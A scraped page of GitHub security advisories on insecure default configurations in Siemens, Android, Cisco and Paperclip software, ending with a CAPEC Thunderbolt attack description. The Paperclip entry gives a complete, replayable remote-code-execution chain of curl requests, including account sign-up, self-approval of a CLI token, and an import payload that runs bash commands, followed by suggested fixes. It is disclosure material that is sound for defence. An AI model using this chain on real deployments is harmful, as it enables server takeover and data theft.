  "id": "GHSA-653w-f3pr-6cv6",
  "modified": "2023-03-03T18:30:27Z",
  "published": "2023-02-23T18:31:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48342"
    },
    {
      "type": "WEB",
      "url": "https://www.jetbrains.com/privacy-security/issues-fixed"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6556-7HQH-P69Q

Vulnerability from github – Published: 2026-07-09 15:32 – Updated: 2026-07-09 15:32
VLAI
Details

A vulnerability has been identified in CPCI85 Central Processing/Communication (All versions < V26.20), SICORE Base system (All versions < V26.20.0). The affected application ships with a default configuration that disables all OPC UA security mechanisms. This could allow an attacker to gain unauthorized access and control over critical system functions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-54800"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-09T15:16:36Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been identified in CPCI85 Central Processing/Communication (All versions \u003c V26.20), SICORE Base system (All versions \u003c V26.20.0). The affected application ships with a default configuration that disables all OPC UA security mechanisms. This could allow an attacker to gain unauthorized access and control over critical system functions.",
  "id": "GHSA-6556-7hqh-p69q",
  "modified": "2026-07-09T15:32:35Z",
  "published": "2026-07-09T15:32:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54800"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-229470.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-67Q8-HW3V-9FJ4

Vulnerability from github – Published: 2024-08-16 00:32 – Updated: 2024-08-16 18:30
VLAI
Details

In onForegroundServiceButtonClicked of FooterActionsViewModel.kt, there is a possible way to disable the active VPN app from the lockscreen due to an insecure default value. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-34734"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-453"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-15T22:15:06Z",
    "severity": "HIGH"
  },
  "details": "In onForegroundServiceButtonClicked of FooterActionsViewModel.kt, there is a possible way to disable the active VPN app from the lockscreen due to an insecure default value. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-67q8-hw3v-9fj4",
  "modified": "2024-08-16T18:30:57Z",
  "published": "2024-08-16T00:32:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34734"
    },
    {
      "type": "WEB",
      "url": "https://android.googlesource.com/platform/frameworks/base/+/207584fb6f820eba14251251d7e9331bfd57adb8"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2024-08-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-68QG-G8MG-6PR7

Vulnerability from github – Published: 2026-04-10 21:08 – Updated: 2026-04-27 16:19
VLAI
Summary
paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass
Details

Summary

An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in authenticated mode with default configuration. No user interaction, no credentials, just the target's address. The entire chain is six API calls.

I verified every step against the latest version. I have a fully automated PoC script and a video recording available.

Discord: sagi03581

Steps to Reproduce

The attack chains four independent flaws to escalate from zero access to RCE:

Step 1: Create an account (no invite, no email verification)

curl -s -X POST -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com","password":"P@ssw0rd123","name":"attacker"}' \
  http://<target>:3100/api/auth/sign-up/email

Returns a valid account immediately. No invite token required, no email verification.

This works because PAPERCLIP_AUTH_DISABLE_SIGN_UP defaults to false in server/src/config.ts:169-173:

const authDisableSignUp: boolean =
  disableSignUpFromEnv !== undefined
    ? disableSignUpFromEnv === "true"
    : (fileConfig?.auth?.disableSignUp ?? false);   // default: open

And email verification is hardcoded off in server/src/auth/better-auth.ts:89-93:

emailAndPassword: {
  enabled: true,
  requireEmailVerification: false,
  disableSignUp: config.authDisableSignUp,
},

The environment variable isn't documented in the deployment guide, so operators don't know it exists.

Step 2: Sign in

curl -s -v -X POST -H "Content-Type: application/json" \
  -d '{"email":"attacker@evil.com","password":"P@ssw0rd123"}' \
  http://<target>:3100/api/auth/sign-in/email

Capture the session cookie from the Set-Cookie header.

Step 3: Create a CLI auth challenge and self-approve it

Create the challenge (no authentication required at all):

curl -s -X POST -H "Content-Type: application/json" \
  -d '{"command":"test"}' \
  http://<target>:3100/api/cli-auth/challenges

The response includes a token and a boardApiToken. The handler at server/src/routes/access.ts:1638-1659 has no actor check -- anyone can create a challenge.

Now approve it with our own session:

curl -s -X POST \
  -H "Cookie: <session-cookie>" \
  -H "Content-Type: application/json" \
  -H "Origin: http://<target>:3100" \
  -d '{"token":"<token-from-above>"}' \
  http://<target>:3100/api/cli-auth/challenges/<id>/approve

The approval handler at server/src/routes/access.ts:1687-1704 checks that the caller is a board user but does not check whether the approver is the same person who created the challenge:

if (req.actor.type !== "board" || (!req.actor.userId && !isLocalImplicit(req))) {
  throw unauthorized("Sign in before approving CLI access");
}
// no check that approver !== creator
const userId = req.actor.userId ?? "local-board";
const approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId);

The boardApiToken from step 3 is now a persistent API key tied to our account.

Step 4: Create a company and deploy an agent via import (authorization bypass)

This is the critical flaw. The direct company creation endpoint correctly requires instance admin:

server/src/routes/companies.ts:260-264:

router.post("/", validate(createCompanySchema), async (req, res) => {
  assertBoard(req);
  if (!(req.actor.source === "local_implicit" || req.actor.isInstanceAdmin)) {
    throw forbidden("Instance admin required");
  }
});

But the import endpoint does not:

server/src/routes/companies.ts:170-176:

router.post("/import", validate(companyPortabilityImportSchema), async (req, res) => {
  assertBoard(req);                                     // only checks board type
  if (req.body.target.mode === "existing_company") {
    assertCompanyAccess(req, req.body.target.companyId);  // only for existing
  }
  // NO assertInstanceAdmin for "new_company" mode
  const result = await portability.importBundle(req.body, ...);
});

assertInstanceAdmin isn't even imported in companies.ts (line 27 only imports assertBoard, assertCompanyAccess, getActorInfo), while it is imported and used in other route files like agents.ts.

The import also accepts a .paperclip.yaml in the bundle that specifies agent adapter configuration. The process adapter takes a command and args and calls spawn() directly with zero sandboxing. The import service passes the full adapterConfig through without validation (server/src/services/company-portability.ts:3955-3981).

curl -s -X POST -H "Authorization: Bearer <board-api-key>" \
  -H "Content-Type: application/json" \
  -H "Origin: http://<target>:3100" \
  -d '{
    "source": {"type": "inline", "files": {
      "COMPANY.md": "---\nname: attacker-corp\nslug: attacker-corp\n---\nx",
      "agents/pwn/AGENTS.md": "---\nkind: agent\nname: pwn\nslug: pwn\nrole: engineer\n---\nx",
      ".paperclip.yaml": "agents:\n  pwn:\n    icon: terminal\n    adapter:\n      type: process\n      config:\n        command: bash\n        args:\n          - -c\n          - id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt"
    }},
    "target": {"mode": "new_company", "newCompanyName": "attacker-corp"},
    "include": {"company": true, "agents": true},
    "agents": "all"
  }' \
  http://<target>:3100/api/companies/import

Returns the new company ID and agent ID. The attacker now owns a company with a process adapter agent configured to run arbitrary commands.

Step 5: Trigger the agent

curl -s -X POST -H "Authorization: Bearer <board-api-key>" \
  -H "Content-Type: application/json" \
  -H "Origin: http://<target>:3100" \
  -d '{}' \
  http://<target>:3100/api/agents/<agent-id>/wakeup

The wakeup handler at server/src/routes/agents.ts:2073-2085 only checks assertCompanyAccess, which passes because the attacker created the company. Paperclip spawns bash -c "id > /tmp/pwned.txt && ..." as the server's OS user.

Proof of Concept

I have a self-contained bash script that runs the full chain automatically:

./poc_exploit.sh http://<target>:3100

It creates a random test account, self-approves a CLI key, imports a company with a process adapter agent, triggers it, and checks for a marker file to confirm execution. Runs in under 30 seconds.

Impact

An unauthenticated remote attacker can execute arbitrary commands as the Paperclip server's OS user on any authenticated mode deployment with default configuration. This gives them:

  • Full filesystem access (read/write as the server user)
  • Access to all data in the Paperclip database
  • Ability to pivot to internal network services
  • Ability to disrupt all agent operations

The attack is fully automated, requires no user interaction, and works against the default deployment configuration.

Suggested Fixes

Critical: Unauthorized board access (the root cause)

The import bypass is how I got RCE today, but the real problem is that anyone can go from unauthenticated to a fully persistent board user through open signup + self-approve. Even if you fix the import endpoint, the attacker still has a board API key and can:

  • Read adapter configurations and internal API structure
  • Approve/reject/request-revision on any company's approvals (these endpoints only check assertBoard, not assertCompanyAccess)
  • Cancel any company's agent runs (same missing check)
  • Read issue data from any heartbeat run (zero auth on GET /api/heartbeat-runs/:runId/issues)
  • Create unlimited accounts for resource exhaustion
  • Wait for the next authorization bug to appear

These need to be fixed together:

  1. Disable open registration by default -- server/src/config.ts:172, change ?? false to ?? true. Document PAPERCLIP_AUTH_DISABLE_SIGN_UP in the deployment guide. Any deployment that wants open signup can opt in explicitly.

  2. Prevent CLI auth self-approval -- server/src/routes/access.ts, around line 1700. Reject when the approving user is the same user who created the challenge. Right now anyone with a session can generate their own persistent API key.

  3. Require email verification -- server/src/auth/better-auth.ts:91, set requireEmailVerification: true. At minimum this stops throwaway accounts.

Critical: Import authorization bypass (the RCE path)

  1. Add assertInstanceAdmin to the import endpoint for new_company mode -- server/src/routes/companies.ts, lines 161-176. The direct POST / creation endpoint already has this check. The import endpoint doesn't. Apply the same check to both POST /import and POST /import/preview:
assertBoard(req);
if (req.body.target.mode === "new_company") {
  if (!(req.actor.source === "local_implicit" || req.actor.isInstanceAdmin)) {
    throw forbidden("Instance admin required");
  }
} else {
  assertCompanyAccess(req, req.body.target.companyId);
}
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "paperclipai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.410.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@paperclipai/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.410.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41679"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-287",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T21:08:57Z",
    "nvd_published_at": "2026-04-23T02:16:19Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nAn unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in `authenticated` mode with default configuration. No user interaction, no credentials, just the target\u0027s address. The entire chain is six API calls.\n\nI verified every step against the latest version. I have a fully automated PoC script and a video recording available.\n\nDiscord: sagi03581\n\n## Steps to Reproduce\n\nThe attack chains four independent flaws to escalate from zero access to RCE:\n\n### Step 1: Create an account (no invite, no email verification)\n\n```bash\ncurl -s -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"email\":\"attacker@evil.com\",\"password\":\"P@ssw0rd123\",\"name\":\"attacker\"}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/auth/sign-up/email\n```\n\nReturns a valid account immediately. No invite token required, no email verification.\n\nThis works because `PAPERCLIP_AUTH_DISABLE_SIGN_UP` defaults to `false` in `server/src/config.ts:169-173`:\n\n```typescript\nconst authDisableSignUp: boolean =\n  disableSignUpFromEnv !== undefined\n    ? disableSignUpFromEnv === \"true\"\n    : (fileConfig?.auth?.disableSignUp ?? false);   // default: open\n```\n\nAnd email verification is hardcoded off in `server/src/auth/better-auth.ts:89-93`:\n\n```typescript\nemailAndPassword: {\n  enabled: true,\n  requireEmailVerification: false,\n  disableSignUp: config.authDisableSignUp,\n},\n```\n\nThe environment variable isn\u0027t documented in the deployment guide, so operators don\u0027t know it exists.\n\n### Step 2: Sign in\n\n```bash\ncurl -s -v -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"email\":\"attacker@evil.com\",\"password\":\"P@ssw0rd123\"}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/auth/sign-in/email\n```\n\nCapture the session cookie from the `Set-Cookie` header.\n\n### Step 3: Create a CLI auth challenge and self-approve it\n\nCreate the challenge (no authentication required at all):\n\n```bash\ncurl -s -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"command\":\"test\"}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/cli-auth/challenges\n```\n\nThe response includes a `token` and a `boardApiToken`. The handler at `server/src/routes/access.ts:1638-1659` has no actor check -- anyone can create a challenge.\n\nNow approve it with our own session:\n\n```bash\ncurl -s -X POST \\\n  -H \"Cookie: \u003csession-cookie\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: http://\u003ctarget\u003e:3100\" \\\n  -d \u0027{\"token\":\"\u003ctoken-from-above\u003e\"}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/cli-auth/challenges/\u003cid\u003e/approve\n```\n\nThe approval handler at `server/src/routes/access.ts:1687-1704` checks that the caller is a board user but does not check whether the approver is the same person who created the challenge:\n\n```typescript\nif (req.actor.type !== \"board\" || (!req.actor.userId \u0026\u0026 !isLocalImplicit(req))) {\n  throw unauthorized(\"Sign in before approving CLI access\");\n}\n// no check that approver !== creator\nconst userId = req.actor.userId ?? \"local-board\";\nconst approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId);\n```\n\nThe `boardApiToken` from step 3 is now a persistent API key tied to our account.\n\n### Step 4: Create a company and deploy an agent via import (authorization bypass)\n\nThis is the critical flaw. The direct company creation endpoint correctly requires instance admin:\n\n`server/src/routes/companies.ts:260-264`:\n```typescript\nrouter.post(\"/\", validate(createCompanySchema), async (req, res) =\u003e {\n  assertBoard(req);\n  if (!(req.actor.source === \"local_implicit\" || req.actor.isInstanceAdmin)) {\n    throw forbidden(\"Instance admin required\");\n  }\n});\n```\n\nBut the import endpoint does not:\n\n`server/src/routes/companies.ts:170-176`:\n```typescript\nrouter.post(\"/import\", validate(companyPortabilityImportSchema), async (req, res) =\u003e {\n  assertBoard(req);                                     // only checks board type\n  if (req.body.target.mode === \"existing_company\") {\n    assertCompanyAccess(req, req.body.target.companyId);  // only for existing\n  }\n  // NO assertInstanceAdmin for \"new_company\" mode\n  const result = await portability.importBundle(req.body, ...);\n});\n```\n\n`assertInstanceAdmin` isn\u0027t even imported in `companies.ts` (line 27 only imports `assertBoard`, `assertCompanyAccess`, `getActorInfo`), while it is imported and used in other route files like `agents.ts`.\n\nThe import also accepts a `.paperclip.yaml` in the bundle that specifies agent adapter configuration. The `process` adapter takes a `command` and `args` and calls `spawn()` directly with zero sandboxing. The import service passes the full `adapterConfig` through without validation (`server/src/services/company-portability.ts:3955-3981`).\n\n```bash\ncurl -s -X POST -H \"Authorization: Bearer \u003cboard-api-key\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: http://\u003ctarget\u003e:3100\" \\\n  -d \u0027{\n    \"source\": {\"type\": \"inline\", \"files\": {\n      \"COMPANY.md\": \"---\\nname: attacker-corp\\nslug: attacker-corp\\n---\\nx\",\n      \"agents/pwn/AGENTS.md\": \"---\\nkind: agent\\nname: pwn\\nslug: pwn\\nrole: engineer\\n---\\nx\",\n      \".paperclip.yaml\": \"agents:\\n  pwn:\\n    icon: terminal\\n    adapter:\\n      type: process\\n      config:\\n        command: bash\\n        args:\\n          - -c\\n          - id \u003e /tmp/pwned.txt \u0026\u0026 whoami \u003e\u003e /tmp/pwned.txt\"\n    }},\n    \"target\": {\"mode\": \"new_company\", \"newCompanyName\": \"attacker-corp\"},\n    \"include\": {\"company\": true, \"agents\": true},\n    \"agents\": \"all\"\n  }\u0027 \\\n  http://\u003ctarget\u003e:3100/api/companies/import\n```\n\nReturns the new company ID and agent ID. The attacker now owns a company with a process adapter agent configured to run arbitrary commands.\n\n### Step 5: Trigger the agent\n\n```bash\ncurl -s -X POST -H \"Authorization: Bearer \u003cboard-api-key\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: http://\u003ctarget\u003e:3100\" \\\n  -d \u0027{}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/agents/\u003cagent-id\u003e/wakeup\n```\n\nThe wakeup handler at `server/src/routes/agents.ts:2073-2085` only checks `assertCompanyAccess`, which passes because the attacker created the company. Paperclip spawns `bash -c \"id \u003e /tmp/pwned.txt \u0026\u0026 ...\"` as the server\u0027s OS user.\n\n### Proof of Concept\n\nI have a self-contained bash script that runs the full chain automatically:\n\n```\n./poc_exploit.sh http://\u003ctarget\u003e:3100\n```\n\nIt creates a random test account, self-approves a CLI key, imports a company with a process adapter agent, triggers it, and checks for a marker file to confirm execution. Runs in under 30 seconds.\n\n## Impact\n\nAn unauthenticated remote attacker can execute arbitrary commands as the Paperclip server\u0027s OS user on any `authenticated` mode deployment with default configuration. This gives them:\n\n- Full filesystem access (read/write as the server user)\n- Access to all data in the Paperclip database\n- Ability to pivot to internal network services\n- Ability to disrupt all agent operations\n\nThe attack is fully automated, requires no user interaction, and works against the default deployment configuration.\n\n## Suggested Fixes\n\n### Critical: Unauthorized board access (the root cause)\n\nThe import bypass is how I got RCE today, but the real problem is that anyone can go from unauthenticated to a fully persistent board user through open signup + self-approve. Even if you fix the import endpoint, the attacker still has a board API key and can:\n\n- Read adapter configurations and internal API structure\n- Approve/reject/request-revision on any company\u0027s approvals (these endpoints only check `assertBoard`, not `assertCompanyAccess`)\n- Cancel any company\u0027s agent runs (same missing check)\n- Read issue data from any heartbeat run (zero auth on `GET /api/heartbeat-runs/:runId/issues`)\n- Create unlimited accounts for resource exhaustion\n- Wait for the next authorization bug to appear\n\n**These need to be fixed together:**\n\n1. **Disable open registration by default** -- `server/src/config.ts:172`, change `?? false` to `?? true`. Document `PAPERCLIP_AUTH_DISABLE_SIGN_UP` in the deployment guide. Any deployment that wants open signup can opt in explicitly.\n\n2. **Prevent CLI auth self-approval** -- `server/src/routes/access.ts`, around line 1700. Reject when the approving user is the same user who created the challenge. Right now anyone with a session can generate their own persistent API key.\n\n3. **Require email verification** -- `server/src/auth/better-auth.ts:91`, set `requireEmailVerification: true`. At minimum this stops throwaway accounts.\n\n### Critical: Import authorization bypass (the RCE path)\n\n4. **Add `assertInstanceAdmin` to the import endpoint for `new_company` mode** -- `server/src/routes/companies.ts`, lines 161-176. The direct `POST /` creation endpoint already has this check. The import endpoint doesn\u0027t. Apply the same check to both `POST /import` and `POST /import/preview`:\n\n```typescript\nassertBoard(req);\nif (req.body.target.mode === \"new_company\") {\n  if (!(req.actor.source === \"local_implicit\" || req.actor.isInstanceAdmin)) {\n    throw forbidden(\"Instance admin required\");\n  }\n} else {\n  assertCompanyAccess(req, req.body.target.companyId);\n}\n```",
  "id": "GHSA-68qg-g8mg-6pr7",
  "modified": "2026-04-27T16:19:04Z",
  "published": "2026-04-10T21:08:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-68qg-g8mg-6pr7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41679"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/paperclipai/paperclip"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass"
}

GHSA-68R9-5XR5-XJ6J

Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-05-24 19:19
VLAI
Details

Multiple vulnerabilities in the web-based management interface of the Cisco Catalyst Passive Optical Network (PON) Series Switches Optical Network Terminal (ONT) could allow an unauthenticated, remote attacker to perform the following actions: Log in with a default credential if the Telnet protocol is enabled Perform command injection Modify the configuration For more information about these vulnerabilities, see the Details section of this advisory.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-34795"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-798"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-04T16:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Multiple vulnerabilities in the web-based management interface of the Cisco Catalyst Passive Optical Network (PON) Series Switches Optical Network Terminal (ONT) could allow an unauthenticated, remote attacker to perform the following actions: Log in with a default credential if the Telnet protocol is enabled Perform command injection Modify the configuration For more information about these vulnerabilities, see the Details section of this advisory.",
  "id": "GHSA-68r9-5xr5-xj6j",
  "modified": "2022-05-24T19:19:46Z",
  "published": "2022-05-24T19:19:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34795"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-catpon-multivulns-CE3DSYGr"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.